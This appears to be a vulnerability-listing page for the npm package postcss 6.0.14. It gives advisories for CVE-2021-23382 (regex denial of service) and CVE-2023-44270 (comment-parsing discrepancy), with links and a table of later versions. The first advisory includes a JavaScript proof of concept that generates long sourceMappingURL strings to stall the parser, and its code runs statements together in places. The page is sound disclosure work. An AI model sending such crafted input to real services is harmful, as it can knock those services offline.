NodeJS/postcss/6.0.14
Tool for transforming styles with JS plugins
     
  https://www.npmjs.com/package/postcss
       
       MIT    
    
  
2 Security Vulnerabilities
Regular Expression Denial of Service in postcss
- https://nvd.nist.gov/vuln/detail/CVE-2021-23382
 - https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956
 - https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641
 - https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640
 - https://github.com/advisories/GHSA-566m-qj78-rww5
 - https://github.com/postcss/postcss/releases/tag/7.0.36
 
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern 
regex
\/\*\s* sourceMappingURL=(.*)
PoC
var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i) try {
            postcss.parse(attack_str) var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        } catch (e) {
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        }
    }
}
    
    PostCSS line return parsing error
- https://nvd.nist.gov/vuln/detail/CVE-2023-44270
 - https://github.com/postcss/postcss/commit/58cc860b4c1707510c9cd1bc1fa30b423a9ad6c5
 - https://github.com/postcss/postcss/blob/main/lib/tokenize.js#L25
 - https://github.com/postcss/postcss/releases/tag/8.4.31
 - https://github.com/advisories/GHSA-7fh5-64p2-3v2j
 - https://github.com/github/advisory-database/issues/2820
 
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
270 Other Versions
| Version | License | Security | Released | |
|---|---|---|---|---|
| 8.5.6 | MIT | 2025-06-16 - 13:58 | 5 months | |
| 8.5.5 | MIT | 2025-06-11 - 17:12 | 5 months | |
| 8.5.4 | MIT | 2025-05-29 - 05:51 | 5 months | |
| 8.5.3 | MIT | 2025-02-19 - 13:45 | 9 months | |
| 8.5.2 | MIT | 2025-02-10 - 20:51 | 9 months | |
| 8.5.1 | MIT | 2025-01-14 - 10:55 | 10 months | |
| 8.5.0 | MIT | 2025-01-13 - 19:19 | 10 months | |
| 8.4.49 | MIT | 2024-11-11 - 19:59 | 12 months | |
| 8.4.48 | MIT | 2024-11-10 - 21:19 | 12 months | |
| 8.4.47 | MIT | 2024-09-14 - 14:37 | about 1 year | |
| 8.4.46 | MIT | 2024-09-14 - 14:28 | about 1 year | |
| 8.4.45 | MIT | 2024-09-04 - 09:35 | about 1 year | |
| 8.4.44 | MIT | 2024-09-02 - 08:23 | about 1 year | |
| 8.4.43 | MIT | 2024-09-01 - 19:07 | about 1 year | |
| 8.4.42 | MIT | 2024-08-31 - 21:29 | about 1 year | |
| 8.4.41 | MIT | 2024-08-05 - 23:08 | about 1 year | |
| 8.4.40 | MIT | 2024-07-24 - 19:37 | over 1 year | |
| 8.4.39 | MIT | 2024-06-29 - 18:22 | over 1 year | |
| 8.4.38 | MIT | 2024-03-20 - 22:55 | over 1 year | |
| 8.4.37 | MIT | 2024-03-19 - 16:57 | over 1 year | |
| 8.4.36 | MIT | 2024-03-17 - 20:09 | over 1 year | |
| 8.4.35 | MIT | 2024-02-07 - 15:37 | over 1 year | |
| 8.4.34 | MIT | 2024-02-05 - 19:22 | over 1 year | |
| 8.4.33 | MIT | 2024-01-04 - 19:04 | almost 2 years | |
| 8.4.32 | MIT | 2023-12-02 - 02:56 | almost 2 years | |
| 8.4.31 | MIT | 2023-09-28 - 22:15 | about 2 years | |
| 8.4.30 | MIT | 1 | 2023-09-18 - 21:24 | about 2 years | 
| 8.4.29 | MIT | 1 | 2023-08-29 - 17:47 | about 2 years | 
| 8.4.28 | MIT | 1 | 2023-08-15 - 19:12 | about 2 years | 
| 8.4.27 | MIT | 1 | 2023-07-21 - 11:51 | over 2 years | 
| 8.4.26 | MIT | 1 | 2023-07-13 - 19:24 | over 2 years | 
| 8.4.25 | MIT | 1 | 2023-07-06 - 11:44 | over 2 years | 
| 8.4.24 | MIT | 1 | 2023-05-28 - 09:32 | over 2 years | 
| 8.4.23 | MIT | 1 | 2023-04-19 - 19:03 | over 2 years | 
| 8.4.22 | MIT | 1 | 2023-04-16 - 13:02 | over 2 years | 
| 8.4.21 | MIT | 1 | 2023-01-06 - 20:29 | almost 3 years | 
| 8.4.20 | MIT | 1 | 2022-12-11 - 17:35 | almost 3 years | 
| 8.4.19 | MIT | 1 | 2022-11-10 - 22:57 | almost 3 years | 
| 8.4.18 | MIT | 1 | 2022-10-12 - 19:28 | about 3 years | 
| 8.4.17 | MIT | 1 | 2022-09-30 - 11:29 | about 3 years | 
| 8.4.16 | MIT | 1 | 2022-08-06 - 18:59 | about 3 years | 
| 8.4.15 | MIT | 1 | 2022-08-06 - 18:25 | about 3 years | 
| 8.4.14 | MIT | 1 | 2022-05-18 - 16:14 | over 3 years | 
| 8.4.13 | MIT | 1 | 2022-04-30 - 00:50 | over 3 years | 
| 8.4.12 | MIT | 1 | 2022-03-16 - 08:38 | over 3 years | 
| 8.4.11 | MIT | 1 | 2022-03-15 - 18:28 | over 3 years | 
| 8.4.10 | MIT | 1 | 2022-03-15 - 18:18 | over 3 years | 
| 8.4.9 | MIT | 1 | 2022-03-15 - 18:08 | over 3 years | 
| 8.4.8 | MIT | 1 | 2022-03-07 - 02:10 | over 3 years | 
| 8.4.7 | MIT | 1 | 2022-02-24 - 22:07 | over 3 years | 
